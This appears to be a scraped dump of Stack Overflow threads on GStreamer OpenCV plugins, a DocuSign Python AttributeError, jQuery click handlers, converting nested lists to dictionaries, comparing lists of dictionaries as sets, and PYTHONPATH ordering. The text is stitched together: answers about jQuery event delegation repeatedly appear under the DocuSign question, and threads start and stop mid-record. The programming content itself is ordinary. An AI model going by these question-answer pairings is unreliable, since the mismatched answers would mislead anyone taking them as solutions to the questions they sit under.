Jul 4 02:16 /usr/lib/x86_64-linux-gnu/gstreamer-1.0/libgstopenmpt.so (cv) roy@hp:~$ ls -l gst-plugins-bad-1.14.5/gst-libs/gst/opencv/ total 84 -rw-r--r-- 1 roy roy 6395 Mar 23 2018 gstopencvutils.cpp -rw-r--r-- 1 roy roy 1700 Mar 23 2018 gstopencvutils.h -rw-r--r-- 1 roy roy 8871 Mar 23 2018 gstopencvvideofilter.cpp -rw-r--r-- 1 roy roy 4559 Mar 23 2018 gstopencvvideofilter.h -rw-r--r-- 1 roy roy 746 Mar 23 2018 Makefile.am -rw-r--r-- 1 roy roy 38511 May 29 2019 Makefile.in -rw-r--r-- 1 roy roy 775 Mar 23 2018 meson.build -rw-r--r-- 1 roy roy 1082 Mar 23 2018 opencv-prelude.h (cv) roy@hp:~$ ls -l gst-plugins-bad-1.14.5/build/gst-libs/gst/opencv/ total 0 lrwxrwxrwx 1 roy roy 21 Nov 30 08:50 libgstopencv-1.0.so -> libgstopencv-1.0.so.0 lrwxrwxrwx 1 roy roy 28 Nov 30 08:50 libgstopencv-1.0.so.0 -> libgstopencv-1.0.so.0.1405.0 (cv) roy@hp:~$ ```
2019/11/30
[ "https://Stackoverflow.com/questions/59118639", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1431063/" ]
Please don't dirty your Ubuntu. Prefer using any package manager in Ubuntu, that you like. If you use `apt`, just install ready and available package for you: ``` sudo apt install libgstreamer-plugins-bad1.0-dev ```
I had the same problem, and my solution is if you want to use the GStreamer OpenCV Plugins described [here](https://gstreamer.freedesktop.org/data/doc/gstreamer/head/gst-plugins-bad/html/gst-plugins-bad-plugins-plugin-opencv.html) and [here](https://gstreamer.freedesktop.org/documentation/opencv/?gi-language=c) you need to do: ``` sudo apt install gstreamer1.0-opencv ``` as explained [here](https://stackoverflow.com/questions/13744763/gstreamer-opencv-edgedetect/68514027#68514027), then: ``` gst-launch-1.0 autovideosrc ! video/x-raw,width=640,height=480 ! videoconvert ! facedetect min-size-width=60 min-size-height=60 profile=/usr/share/opencv4/haarcascades/haarcascade_frontalface_default.xml ! videoconvert ! xvimagesink ``` Worked successfully in my [NVIDIA® Jetson Nano™ Developer Kit](https://developer.nvidia.com/embedded/jetson-nano-developer-kit).
57,502,112
I am getting an attribute error while running the code given below: ```py import base64 import subprocess from __future__ import absolute_import, print_function from pprint import pprint import unittest import webbrowser import docusign_esign as docusign from docusign_esign import AuthenticationApi, TemplatesApi,EnvelopesApi,ApiClient from PyPDF2 import PdfFileReader import pandas as pd from datetime import datetime from os import path import requests integrator_key = "XYZ" base_url = "https://www.docusign.net/restapi" oauth_base_url = "account.docusign.com" #use account-d.docusign.com for sandbox redirect_uri = "https://www.docusign.com/api" user_id = 'MNO' private_key_filename = "docusign_private_key.txt" client_secret = 'ABC' #production account_id = 'QRS' api_client = docusign.ApiClient(base_url) api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) ``` ERROR: ``` AttributeError Traceback (most recent call last) <ipython-input-2-1abfece08e05> in <module>() 55 api_client = docusign.ApiClient(base_url) 56 # make sure to pass the redirect uri ---> 57 api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) AttributeError: 'ApiClient' object has no attribute 'configure_jwt_authorization_flow' ```
2019/08/14
[ "https://Stackoverflow.com/questions/57502112", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11929301/" ]
> > this html code was built automatically by jquery so I can't add id or "onlick" event on this tag > > > If you can't control when that happens, you can still use event delegation to get involved in the click event: ``` $(document).on('click', '.fc-day-grid-event', function() { ...// }); ``` That works even if the code runs before the element exists. The code in your question only works if the element exists as of when your code runs. See [the documentation](https://api.jquery.com/on/#on-events-selector-data-handler) for details.
``` <a onclick="doStuff(this)">Click Me</a> ```
57,502,112
I am getting an attribute error while running the code given below: ```py import base64 import subprocess from __future__ import absolute_import, print_function from pprint import pprint import unittest import webbrowser import docusign_esign as docusign from docusign_esign import AuthenticationApi, TemplatesApi,EnvelopesApi,ApiClient from PyPDF2 import PdfFileReader import pandas as pd from datetime import datetime from os import path import requests integrator_key = "XYZ" base_url = "https://www.docusign.net/restapi" oauth_base_url = "account.docusign.com" #use account-d.docusign.com for sandbox redirect_uri = "https://www.docusign.com/api" user_id = 'MNO' private_key_filename = "docusign_private_key.txt" client_secret = 'ABC' #production account_id = 'QRS' api_client = docusign.ApiClient(base_url) api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) ``` ERROR: ``` AttributeError Traceback (most recent call last) <ipython-input-2-1abfece08e05> in <module>() 55 api_client = docusign.ApiClient(base_url) 56 # make sure to pass the redirect uri ---> 57 api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) AttributeError: 'ApiClient' object has no attribute 'configure_jwt_authorization_flow' ```
2019/08/14
[ "https://Stackoverflow.com/questions/57502112", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11929301/" ]
As the code is generated after the page rendering, you should use a delegated event handler: ``` $('body').on('click','.fc-day-grid-event', function() { //... }); ```
``` <a onclick="doStuff(this)">Click Me</a> ```
57,502,112
I am getting an attribute error while running the code given below: ```py import base64 import subprocess from __future__ import absolute_import, print_function from pprint import pprint import unittest import webbrowser import docusign_esign as docusign from docusign_esign import AuthenticationApi, TemplatesApi,EnvelopesApi,ApiClient from PyPDF2 import PdfFileReader import pandas as pd from datetime import datetime from os import path import requests integrator_key = "XYZ" base_url = "https://www.docusign.net/restapi" oauth_base_url = "account.docusign.com" #use account-d.docusign.com for sandbox redirect_uri = "https://www.docusign.com/api" user_id = 'MNO' private_key_filename = "docusign_private_key.txt" client_secret = 'ABC' #production account_id = 'QRS' api_client = docusign.ApiClient(base_url) api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) ``` ERROR: ``` AttributeError Traceback (most recent call last) <ipython-input-2-1abfece08e05> in <module>() 55 api_client = docusign.ApiClient(base_url) 56 # make sure to pass the redirect uri ---> 57 api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) AttributeError: 'ApiClient' object has no attribute 'configure_jwt_authorization_flow' ```
2019/08/14
[ "https://Stackoverflow.com/questions/57502112", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11929301/" ]
The original code is missing apostrophes after the class name and after the 'click'. This should work: `> $('.fc-day-grid-event').on('click', function() { ...// });` However you might consider to check, if there are other dom elements with that class. An ID is much safer. A workaround could be to use multiple classes in the jQuery selection by selecting the element(s), that matches them all: ``` $('.fc-day-grid-event.fc-h-event.fc-event.fc-start.fc-end.fc-draggable.fc-resizable') ``` but this might still be not sufficient, because these framework-classes seem to be dynamically created and maybe deleted and the selection might be too wide or too narow. You could try to select the a tag with parent/child relations, where you know, that you are getting the right element and you could even use the innerHTML of the elements. Alternatively you could iterate through a JQuery-Selection and check for certain attributes. I'm not sure, if you want to change the target of the link or the target window of the link. Opening the target of a link in a new window works with standard html by using the target attribute `<a href='bla' target='_blank'>bla ...` If you use Javascript for manipulating the target adress of a link outside of the href, the code might get hard to maintain in most contexts and the user might get confused, because he get's to page, he didn't expect. I would try to manipulate the Javascript, that is creating the a tag or if that's really impossible, i would manipulate the existing a tag according to my needs and change the attributes like this, if you want to use jQuery: For the target address of the link: ``` $('.fc-day-grid-event').attr("href", "www.newhrefvalue.com") ``` Or for opening the link in a new tab: ``` $('.fc-day-grid-event').attr("target", "_blank") ``` Then you don't need to prevent or emit events or create event listeners.
``` <a onclick="doStuff(this)">Click Me</a> ```
57,502,112
I am getting an attribute error while running the code given below: ```py import base64 import subprocess from __future__ import absolute_import, print_function from pprint import pprint import unittest import webbrowser import docusign_esign as docusign from docusign_esign import AuthenticationApi, TemplatesApi,EnvelopesApi,ApiClient from PyPDF2 import PdfFileReader import pandas as pd from datetime import datetime from os import path import requests integrator_key = "XYZ" base_url = "https://www.docusign.net/restapi" oauth_base_url = "account.docusign.com" #use account-d.docusign.com for sandbox redirect_uri = "https://www.docusign.com/api" user_id = 'MNO' private_key_filename = "docusign_private_key.txt" client_secret = 'ABC' #production account_id = 'QRS' api_client = docusign.ApiClient(base_url) api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) ``` ERROR: ``` AttributeError Traceback (most recent call last) <ipython-input-2-1abfece08e05> in <module>() 55 api_client = docusign.ApiClient(base_url) 56 # make sure to pass the redirect uri ---> 57 api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) AttributeError: 'ApiClient' object has no attribute 'configure_jwt_authorization_flow' ```
2019/08/14
[ "https://Stackoverflow.com/questions/57502112", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11929301/" ]
> > this html code was built automatically by jquery so I can't add id or "onlick" event on this tag > > > If you can't control when that happens, you can still use event delegation to get involved in the click event: ``` $(document).on('click', '.fc-day-grid-event', function() { ...// }); ``` That works even if the code runs before the element exists. The code in your question only works if the element exists as of when your code runs. See [the documentation](https://api.jquery.com/on/#on-events-selector-data-handler) for details.
As the code is generated after the page rendering, you should use a delegated event handler: ``` $('body').on('click','.fc-day-grid-event', function() { //... }); ```
57,502,112
I am getting an attribute error while running the code given below: ```py import base64 import subprocess from __future__ import absolute_import, print_function from pprint import pprint import unittest import webbrowser import docusign_esign as docusign from docusign_esign import AuthenticationApi, TemplatesApi,EnvelopesApi,ApiClient from PyPDF2 import PdfFileReader import pandas as pd from datetime import datetime from os import path import requests integrator_key = "XYZ" base_url = "https://www.docusign.net/restapi" oauth_base_url = "account.docusign.com" #use account-d.docusign.com for sandbox redirect_uri = "https://www.docusign.com/api" user_id = 'MNO' private_key_filename = "docusign_private_key.txt" client_secret = 'ABC' #production account_id = 'QRS' api_client = docusign.ApiClient(base_url) api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) ``` ERROR: ``` AttributeError Traceback (most recent call last) <ipython-input-2-1abfece08e05> in <module>() 55 api_client = docusign.ApiClient(base_url) 56 # make sure to pass the redirect uri ---> 57 api_client.configure_jwt_authorization_flow(integrator_key, client_secret, redirect_uri) AttributeError: 'ApiClient' object has no attribute 'configure_jwt_authorization_flow' ```
2019/08/14
[ "https://Stackoverflow.com/questions/57502112", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11929301/" ]
> > this html code was built automatically by jquery so I can't add id or "onlick" event on this tag > > > If you can't control when that happens, you can still use event delegation to get involved in the click event: ``` $(document).on('click', '.fc-day-grid-event', function() { ...// }); ``` That works even if the code runs before the element exists. The code in your question only works if the element exists as of when your code runs. See [the documentation](https://api.jquery.com/on/#on-events-selector-data-handler) for details.
The original code is missing apostrophes after the class name and after the 'click'. This should work: `> $('.fc-day-grid-event').on('click', function() { ...// });` However you might consider to check, if there are other dom elements with that class. An ID is much safer. A workaround could be to use multiple classes in the jQuery selection by selecting the element(s), that matches them all: ``` $('.fc-day-grid-event.fc-h-event.fc-event.fc-start.fc-end.fc-draggable.fc-resizable') ``` but this might still be not sufficient, because these framework-classes seem to be dynamically created and maybe deleted and the selection might be too wide or too narow. You could try to select the a tag with parent/child relations, where you know, that you are getting the right element and you could even use the innerHTML of the elements. Alternatively you could iterate through a JQuery-Selection and check for certain attributes. I'm not sure, if you want to change the target of the link or the target window of the link. Opening the target of a link in a new window works with standard html by using the target attribute `<a href='bla' target='_blank'>bla ...` If you use Javascript for manipulating the target adress of a link outside of the href, the code might get hard to maintain in most contexts and the user might get confused, because he get's to page, he didn't expect. I would try to manipulate the Javascript, that is creating the a tag or if that's really impossible, i would manipulate the existing a tag according to my needs and change the attributes like this, if you want to use jQuery: For the target address of the link: ``` $('.fc-day-grid-event').attr("href", "www.newhrefvalue.com") ``` Or for opening the link in a new tab: ``` $('.fc-day-grid-event').attr("target", "_blank") ``` Then you don't need to prevent or emit events or create event listeners.
64,525,357
Hello i'm new to python. i'm working with lists in python and i want to Convert a `list` named **graph** to `dictionnary` **graph** in `PYTHON`. my have `list` : ```js graph = [ ['01 Mai', [ ['Musset', 5], ['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6] ] ], ['Musset', [ ['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6], ["Jardin d'Essai (haut)", 10] ], ] ] ``` i want the list to be a dictionary like that : ```js graph = { '01 mai':{ 'Musset':5, 'Place 11 Decembre 1960':4, "Sidi M'hamed":3, "El Hamma (haut)":6, }, 'Musset':{ 'Place 11 Decembre 1960':4, "Sidi M'hamed":3, "El Hamma (haut)":6, "Jardin d'Essai (haut)": 10, } } ```
2020/10/25
[ "https://Stackoverflow.com/questions/64525357", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11818297/" ]
A simple dict comprehension would do: ```py as_dict = {k: dict(v) for k,v in graph} ``` [Playground](https://www.online-python.com/njzoZagLfc)
An easy solution would be: ``` for item in graph: d[item[0]] = {record[0]: record[1] for record in item[1]} ```
64,525,357
Hello i'm new to python. i'm working with lists in python and i want to Convert a `list` named **graph** to `dictionnary` **graph** in `PYTHON`. my have `list` : ```js graph = [ ['01 Mai', [ ['Musset', 5], ['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6] ] ], ['Musset', [ ['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6], ["Jardin d'Essai (haut)", 10] ], ] ] ``` i want the list to be a dictionary like that : ```js graph = { '01 mai':{ 'Musset':5, 'Place 11 Decembre 1960':4, "Sidi M'hamed":3, "El Hamma (haut)":6, }, 'Musset':{ 'Place 11 Decembre 1960':4, "Sidi M'hamed":3, "El Hamma (haut)":6, "Jardin d'Essai (haut)": 10, } } ```
2020/10/25
[ "https://Stackoverflow.com/questions/64525357", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11818297/" ]
A simple dict comprehension would do: ```py as_dict = {k: dict(v) for k,v in graph} ``` [Playground](https://www.online-python.com/njzoZagLfc)
You can use recursion to handle input of unknown depth: ``` graph = [['01 Mai', [['Musset', 5], ['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6]]], ['Musset', [['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6], ["Jardin d'Essai (haut)", 10]]]] def to_dict(d): return {a:b if not isinstance(b, list) else to_dict(b) for a, b in d} print(to_dict(graph)) ``` Output: ``` {'01 Mai': {'Musset': 5, 'Place 11 Decembre 1960': 4, "Sidi M'hamed": 3, 'El Hamma (haut)': 6}, 'Musset': {'Place 11 Decembre 1960': 4, "Sidi M'hamed": 3, 'El Hamma (haut)': 6, "Jardin d'Essai (haut)": 10}} ```
64,525,357
Hello i'm new to python. i'm working with lists in python and i want to Convert a `list` named **graph** to `dictionnary` **graph** in `PYTHON`. my have `list` : ```js graph = [ ['01 Mai', [ ['Musset', 5], ['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6] ] ], ['Musset', [ ['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6], ["Jardin d'Essai (haut)", 10] ], ] ] ``` i want the list to be a dictionary like that : ```js graph = { '01 mai':{ 'Musset':5, 'Place 11 Decembre 1960':4, "Sidi M'hamed":3, "El Hamma (haut)":6, }, 'Musset':{ 'Place 11 Decembre 1960':4, "Sidi M'hamed":3, "El Hamma (haut)":6, "Jardin d'Essai (haut)": 10, } } ```
2020/10/25
[ "https://Stackoverflow.com/questions/64525357", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11818297/" ]
You can use recursion to handle input of unknown depth: ``` graph = [['01 Mai', [['Musset', 5], ['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6]]], ['Musset', [['Place 11 Decembre 1960', 4], ["Sidi M'hamed", 3], ['El Hamma (haut)', 6], ["Jardin d'Essai (haut)", 10]]]] def to_dict(d): return {a:b if not isinstance(b, list) else to_dict(b) for a, b in d} print(to_dict(graph)) ``` Output: ``` {'01 Mai': {'Musset': 5, 'Place 11 Decembre 1960': 4, "Sidi M'hamed": 3, 'El Hamma (haut)': 6}, 'Musset': {'Place 11 Decembre 1960': 4, "Sidi M'hamed": 3, 'El Hamma (haut)': 6, "Jardin d'Essai (haut)": 10}} ```
An easy solution would be: ``` for item in graph: d[item[0]] = {record[0]: record[1] for record in item[1]} ```
57,532,371
I have the following 8 (possibly non-unique) lists in python: ``` >>> a = [{9: {10:11}}, {}, {}] >>> b = [{1:2}, {3:4}, {5:6}] >>> c = [{}, {}, {}] >>> d = [{1:2}, {3:4}, {5:6}] >>> w = [{}, {}, {}] >>> x = [{1:2}, {3:4}, {5:6}] >>> y = [{}, {}, {}] >>> z = [{1:2}, {3:4}, {5:6}] ``` I want to check if any combination of (a,b,c,d) is the same as any combination of (w,x,y,z). IE: if `{a, b, c, d} == {w, x, y, z}`. However, because of the datatypes of these lists, I cannot easily put them into a set. They are unhashable. What's the most pythonic way to do it? I wanted to do the following but it didn't work: ``` >>> set([a,b,c,d]) == set([w,x,y,z]) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: unhashable type: 'list' ``` So then I tried the following, but it didn't work either: ``` set([tuple(i) for i in [a,b,c,d]]) == set([tuple(i) for i in [w,x,y,z]]) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: unhashable type: 'dict' ``` How can I write something pretty and efficient that will do the comparison that I need?
2019/08/17
[ "https://Stackoverflow.com/questions/57532371", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1742777/" ]
You can abuse [`frozenset`](https://docs.python.org/3/library/stdtypes.html#frozenset) by turning each list of dictionaries to a frozenset of frozensets, with the internal frozensets being each dictionary's items: ``` def freeze(li): return frozenset(frozenset(d.items()) for d in li) a = freeze(a) b = freeze(b) c = freeze(c) d = freeze(d) w = freeze(w) x = freeze(x) y = freeze(y) z = freeze(z) print(z) # frozenset({frozenset({(3, 4)}), frozenset({(5, 6)}), frozenset({(1, 2)})}) print({a, b, c, d} == {w, x, y, z}) # True ```
@DeepSpace's answer works only if each sub-dict in a list is unique, since `[a, b, c, d]` should not be considered the same as `[a, a, b, c, d]`, but with @DeepSpace's use of the `set` constructor, they will be treated as the same. To correctly account for possible duplicating items in the list, you can use `collections.Counter` instead: ``` from collections import Counter def freeze(li): return frozenset(frozenset(d.items()) for d in li) print(Counter(map(freeze, [a, b, c, d])) == Counter(map(freeze, [a, a, b, c, d]))) ``` Also, in case the sub-dicts contain lists or dicts as values, you can make it a recursive function instead: ``` def freeze(o): if isinstance(o, list): return frozenset(Counter(map(freeze, o)).items()) if isinstance(o, dict): return frozenset((k, freeze(v)) for k, v in o.items()) return o print(freeze([a,b,c,d]) == freeze([x,w,y,z])) ```
57,532,371
I have the following 8 (possibly non-unique) lists in python: ``` >>> a = [{9: {10:11}}, {}, {}] >>> b = [{1:2}, {3:4}, {5:6}] >>> c = [{}, {}, {}] >>> d = [{1:2}, {3:4}, {5:6}] >>> w = [{}, {}, {}] >>> x = [{1:2}, {3:4}, {5:6}] >>> y = [{}, {}, {}] >>> z = [{1:2}, {3:4}, {5:6}] ``` I want to check if any combination of (a,b,c,d) is the same as any combination of (w,x,y,z). IE: if `{a, b, c, d} == {w, x, y, z}`. However, because of the datatypes of these lists, I cannot easily put them into a set. They are unhashable. What's the most pythonic way to do it? I wanted to do the following but it didn't work: ``` >>> set([a,b,c,d]) == set([w,x,y,z]) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: unhashable type: 'list' ``` So then I tried the following, but it didn't work either: ``` set([tuple(i) for i in [a,b,c,d]]) == set([tuple(i) for i in [w,x,y,z]]) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: unhashable type: 'dict' ``` How can I write something pretty and efficient that will do the comparison that I need?
2019/08/17
[ "https://Stackoverflow.com/questions/57532371", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1742777/" ]
You can abuse [`frozenset`](https://docs.python.org/3/library/stdtypes.html#frozenset) by turning each list of dictionaries to a frozenset of frozensets, with the internal frozensets being each dictionary's items: ``` def freeze(li): return frozenset(frozenset(d.items()) for d in li) a = freeze(a) b = freeze(b) c = freeze(c) d = freeze(d) w = freeze(w) x = freeze(x) y = freeze(y) z = freeze(z) print(z) # frozenset({frozenset({(3, 4)}), frozenset({(5, 6)}), frozenset({(1, 2)})}) print({a, b, c, d} == {w, x, y, z}) # True ```
You could generate hashable objects such as: ```py def fset(item): l = [] for k, v in item.items(): if isinstance(v, dict): l.append((k, fset(v))) else: l.append((k, v)) return frozenset(l) a = [{9: {10:11}}, {}, {}] fa = [fset(i) for i in a] >>> fa [frozenset({(9, frozenset({(10, 11)}))}), frozenset(), frozenset()] ``` Applying the same to all lists , you'll have lists of frozensets that you can check sameness of combinations by simply using == operator. For example: ```py fa = [fset(i) for i in a] fb = [fset(i) for i in b] ... from itertools import combinations for c1, c2 in combinations([fa, fb, fc, fd],2): for c3, c4 in combinations([fw, fx, fy, fz], 2): print(frozenset(c1 + c2) == frozenset(c3 + c4)) ```
16,127,493
This error broke my python-mysql installation on Mac 10.7.5. Here are the steps 1. The installed python is 2.7.1, mysql is 64 bit for 5.6.11. 2. The being installed python-mysql is 1.2.4, also tried 1.2.3 3. Configurations for the installation ``` 1) sudo ln -s /usr/local/mysql/lib /usr/local/mysql/lib/mysql 2) Edit the setup_posix.py and change the following mysql_config.path = "mysql_config" to mysql_config.path = "/usr/local/mysql/bin/mysql_config" 3) sudo python setup.py build ``` Here is the stacktrace for build ``` running build running build_py copying MySQLdb/release.py -> build/lib.macosx-10.7-intel-2.7/MySQLdb running build_ext building '_mysql' extension llvm-gcc-4.2 -fno-strict-aliasing -fno-common -dynamic -g -Os -pipe -fno-common -fno-strict-aliasing -fwrapv -mno-fused-madd -DENABLE_DTRACE -DMACOSX -DNDEBUG -Wall -Wstrict-prototypes -Wshorten-64-to-32 -DNDEBUG -g -fwrapv -Os -Wall -Wstrict-prototypes -DENABLE_DTRACE -pipe -Dversion_info=(1,2,4,'final',1) -D__version__=1.2.4 -I/usr/local/mysql/include -I/System/Library/Frameworks/Python.framework/Versions/2.7/include/python2.7 -c _mysql.c -o build/temp.macosx-10.7-intel-2.7/_mysql.o -Wno-null-conversion -Os -g -fno-strict-aliasing -arch x86_64 cc1: error: unrecognized command line option "-Wno-null-conversion" error: command 'llvm-gcc-4.2' failed with exit status 1 ``` Welcome your suggestions and ideas. Thanks.
2013/04/21
[ "https://Stackoverflow.com/questions/16127493", "https://Stackoverflow.com", "https://Stackoverflow.com/users/351637/" ]
Try to Remove `cflags -Wno-null-conversion -Wno-unused-private-field` in ``` /usr/local/mysql/bin/mysql_config. ``` like: ``` cflags="-I$pkgincludedir -Wall -Os -g -fno-strict-aliasing -DDBUG_OFF -arch x86_64 " #note: end space! ```
Wow, I've been spending a couple of hours on thistrying to 'pip install MySQL-python'. I have been re-installing Xcode 4.6.3, the Xcode command line tools seperatly (on Mac OS X 10.7.5), and installing Kenneth Reitz' stuff (<https://github.com/kennethreitz/osx-gcc-installer>) to no avail while I was ... Altering the cflags options finally helped! Thanks!
57,578,345
Suppose i have the coefficients of a polynomial.How to write it in the usual form we write in pen and paper?E.g. if i have coefficients=1,-2,5 and the polynomial is a quadratic one then the program should print `x**2-2*x+5. 1*x**2-2*x**1+5*x**0` will also do.It is preferable that the program is written such that it works for large n too,like order 20 or 30 of the polynomial,and also there is some way to put some value of x into the result.e.g.If i set x=0,in the abovementioned example it should return 5. So far,i have come to know that the thing i am asking for is symbolic computation,and there is a readymade package in python called sympy for doing these,but by only using the functions,i could not gain insight into the logic of writing the function,i referred to the lengthy source codes of the several functions in sympy module and got totally confused.Is there a simple way to do this probably without using of direct symbolic math packages?
2019/08/20
[ "https://Stackoverflow.com/questions/57578345", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10444871/" ]
Here is a program that would work, without using the external packages. I have defined a Poly class and it has two methods: 1) evaluation 2) print the polynomial. ``` class Poly(): def __init__(self, coeff): self.coeff = coeff self.N = len(coeff) def evaluate(self, x): res = 0.0 for i in range(self.N): res += self.coeff[i] * (x**(self.N-i-1)) return res def printPoly(self): for i in range(self.N): if i == self.N-1: print("%f" % (abs(self.coeff[i]))) else: if self.coeff[i] != 0.0: print("%f * x**%d" % (abs(self.coeff[i]), self.N-i-1), end='') if self.coeff[i+1] > 0: print(" + ", end='') else: print(" - ", end='') p = poly([1,-2,5]) # creating the polynomial object. p.printPoly() # prints: 1.0 * x**2 - 2.0 * x**1 + 5 print(p.evaluate(0.0)) # prints: 5.0 ```
For this task, you have to use python's symbolic module ([sympy](https://www.sympy.org/en/index.html)) since you specifically want your output to be a polynomial representation. The following code should do the job. ``` import sympy from sympy import poly x = sympy.Symbol('x') # Create a symbol x coefficients = [1,-2,5] # Your coefficients a python list p1 = sum(coef*x**i for i, coef in enumerate(reversed(coefficients))) # expression to generate a polynomial from coefficients. print p1 # print(p1), depending on your python version ``` This statement: `p1.subs('x',2)` then evaluates your polynomial 'p1' at x=2.
8,337,686
Here is my `.bash_profile` ``` PYTHONPATH=".:/home/miki725/django/django:$PYTHONPATH" export PYTHONPATH ``` So then I open python however the directory I add in `.bash_profile` is not the first one: ``` Python 2.4.3 (#1, Sep 21 2011, 20:06:00) [GCC 4.1.2 20080704 (Red Hat 4.1.2-51)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> for i in sys.path: ... print i ... /usr/lib/python2.4/site-packages/setuptools-0.6c9-py2.4.egg /usr/lib/python2.4/site-packages/flup-1.0.2-py2.4.egg /usr/lib/python2.4/site-packages/MySQL_python-1.2.3c1-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_form_utils-0.1.7-py2.4.egg /usr/lib/python2.4/site-packages/mechanize-0.2.1-py2.4.egg /usr/lib/python2.4/site-packages/Django-1.2.1-py2.4.egg /usr/lib/python2.4/site-packages/mercurial-1.6-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/lxml-2.2.7-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_registration-0.7-py2.4.egg /usr/lib/python2.4/site-packages/sorl_thumbnail-3.2.5-py2.4.egg /usr/lib/python2.4/site-packages/South-0.7.2-py2.4.egg /usr/lib/python2.4/site-packages/django_keyedcache-1.4_1-py2.4.egg /usr/lib/python2.4/site-packages/django_livesettings-1.4_3-py2.4.egg /usr/lib/python2.4/site-packages/django_app_plugins-0.1.1-py2.4.egg /usr/lib/python2.4/site-packages/django_signals_ahoy-0.1_2-py2.4.egg /usr/lib/python2.4/site-packages/pycrypto-2.3-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_threaded_multihost-1.4_0-py2.4.egg /usr/lib/python2.4/site-packages/PIL-1.1.7-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/pyOpenSSL-0.11-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/ZSI-2.0_rc3-py2.4.egg /usr/lib/python2.4/site-packages/PyXML-0.8.4-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/pyquery-0.6.1-py2.4.egg /usr/lib/python2.4/site-packages/pip-1.0.1-py2.4.egg /usr/lib/python2.4/site-packages/virtualenv-1.6.1-py2.4.egg /usr/lib/python2.4/site-packages/simplejson-2.1.6-py2.4-linux-i686.egg /home/miki725 /home/miki725/django/django /usr/lib/python24.zip /usr/lib/python2.4 /usr/lib/python2.4/plat-linux2 /usr/lib/python2.4/lib-tk /usr/lib/python2.4/lib-dynload /usr/lib/python2.4/site-packages /usr/lib/python2.4/site-packages/Numeric /usr/lib/python2.4/site-packages/PIL /usr/lib/python2.4/site-packages/gtk-2.0 >>> >>> >>> >>> >>> import django >>> django.__file__ '/usr/lib/python2.4/site-packages/Django-1.2.1-py2.4.egg/django/__init__.pyc' >>> ``` How can I add to a python path in `.bash_profile` so it would be in the beginning. This is for shared hosting. I need to be able to import my django install instead of using system default. Thank you
2011/12/01
[ "https://Stackoverflow.com/questions/8337686", "https://Stackoverflow.com", "https://Stackoverflow.com/users/485844/" ]
Your best bet is to modify `sys.path` at runtime. In a shared hosting enviroment it's common to do this in your .wsgi file. You could do something like this: ``` import sys sys.path.insert(0, '/home/miki725/django/django') ``` If you add `export PYTHONSTARTUP=/home/miki725/.pythonrc` to your `.bash_profile`, you can add that your `.pythonrc` file, and it'll be executed before an interactive prompt is shown as well.
I'd say that your `PYTHONPATH` is being modified when the [site](http://docs.python.org/release/2.4.3/lib/module-site.html) module is imported. Please have a look at the [user](http://docs.python.org/release/2.4.3/lib/module-user.html) module to provide user-specific configuration (basically just prepend the directories you're interested in to `sys.path`). Note: `user` module is currently deprecated, but for python 2.4 this should work. Edit: Just for completeness, for python >= 2.6 (`user` module deprecated), you should create a `usercustomize.py` file in your local `site-packages` directory as explained [here](http://docs.python.org/tutorial/interpreter.html#the-customization-modules).
8,337,686
